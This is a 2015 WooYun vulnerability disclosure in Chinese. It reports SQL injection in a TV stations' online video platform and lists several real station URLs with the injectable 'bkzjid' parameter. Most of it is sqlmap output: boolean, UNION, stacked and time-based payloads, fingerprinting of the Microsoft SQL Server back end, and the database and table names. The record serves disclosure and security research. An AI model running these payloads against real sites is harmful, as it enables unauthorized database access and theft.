当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0105689

漏洞标题:某电视台在线播放系统注射漏洞

相关厂商:常州网视领航网络科技有限公司

漏洞作者: piaoye

提交时间:2015-04-07 10:26

修复时间:2015-05-22 10:28

公开时间:2015-05-22 10:28

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-07: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-05-22: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

有些电视台在使用

详细说明:

厂商貌似是:http://www.wslh.net/index.php?m=content&c=index&a=lists&catid=2
出现在以下url里,据说提供五条实例才算通用?:
http://v.pudongtv.cn/t/t1/user/bkzjsplb.aspx?m=1&n=1&uid=51&paixu=0&bkzjid=51
http://v.sygd.tv/t/t1/user/bkzjsplb.aspx?m=1&n=1&uid=51&paixu=0&bkzjid=51
http://v.zghhzx.com.cn/t/t1/user/bkzjsplb.aspx?m=1&n=1&uid=1&paixu=0&bkzjid=1
http://v.jjbctv.com/t/t1/user/bkzjsplb.aspx?m=1&n=1&uid=1&paixu=0&bkzjid=1
http://v.hcvw.cn/t/t1/user/bkzjsplb.aspx?m=1&n=1&uid=1&paixu=0&bkzjid=1
...
其中bkzjid参数存在注入:

GET parameter 'bkzjid' is vulnerable. Do you want to keep testing the others (i
any)? [y/N] y
sqlmap identified the following injection points with a total of 44 HTTP(s) req
ests:
---
Place: GET
Parameter: bkzjid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: m=1&n=1&uid=51&paixu=0&bkzjid=51 AND 7130=7130
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: m=1&n=1&uid=51&paixu=0&bkzjid=-5010 UNION ALL SELECT CHAR(113)+CHA
(108)+CHAR(115)+CHAR(121)+CHAR(113)+CHAR(120)+CHAR(107)+CHAR(70)+CHAR(120)+CHAR
90)+CHAR(105)+CHAR(102)+CHAR(106)+CHAR(119)+CHAR(75)+CHAR(113)+CHAR(115)+CHAR(1
9)+CHAR(119)+CHAR(113)--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: m=1&n=1&uid=51&paixu=0&bkzjid=51; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: m=1&n=1&uid=51&paixu=0&bkzjid=51 WAITFOR DELAY '0:0:5'--
---
[21:38:11] [INFO] testing Microsoft SQL Server
[21:38:11] [INFO] confirming Microsoft SQL Server
[21:38:12] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
[21:38:12] [INFO] fetching database names
[21:38:13] [INFO] the SQL query used returns 7 entries
[21:38:13] [INFO] retrieved: master
[21:38:13] [INFO] retrieved: model
[21:38:13] [INFO] retrieved: msdb
[21:38:13] [INFO] retrieved: ReportServer
[21:38:14] [INFO] retrieved: ReportServerTempDB
[21:38:14] [INFO] retrieved: tempdb
[21:38:14] [INFO] retrieved: WSLH
available databases [7]:
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[*] WSLH


默认sa权限,数据库:WSLH

Database: wslh
[23 tables]
+-------------------+
| Bo1KeShiPin |
| Bo1KeZhuanJi |
| CunChuFuWuQi |
| DianShiJieMuYuGao |
| DianShiTai |
| GeRenGongGao |
| IpDataBase |
| LiuYan |
| NeiRongFenLei |
| PinDao |
| PingLun |
| RiZhi |
| ShiPinFenLei |
| ShiPinFenLei |
| ShiPinSuCai |
| XiangCeZhaoPian |
| XiangCeZhuanJi |
| YongHuHaoYou |
| YongHuHaoYou |
| YongHuJiaoSe |
| YongHuShouCang |
| ZhiBoTaoLun |
| ZiBoRenWu |
+-------------------+


漏洞证明:

1.jpg


修复方案:

这个系统开发的不谨慎,视频上传、get、post提交时的参数没有严格处理,导致注射等漏洞的产生可能获取系统权限,对地方电视台造成不必要的影响。

版权声明:转载请注明来源 piaoye@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

评论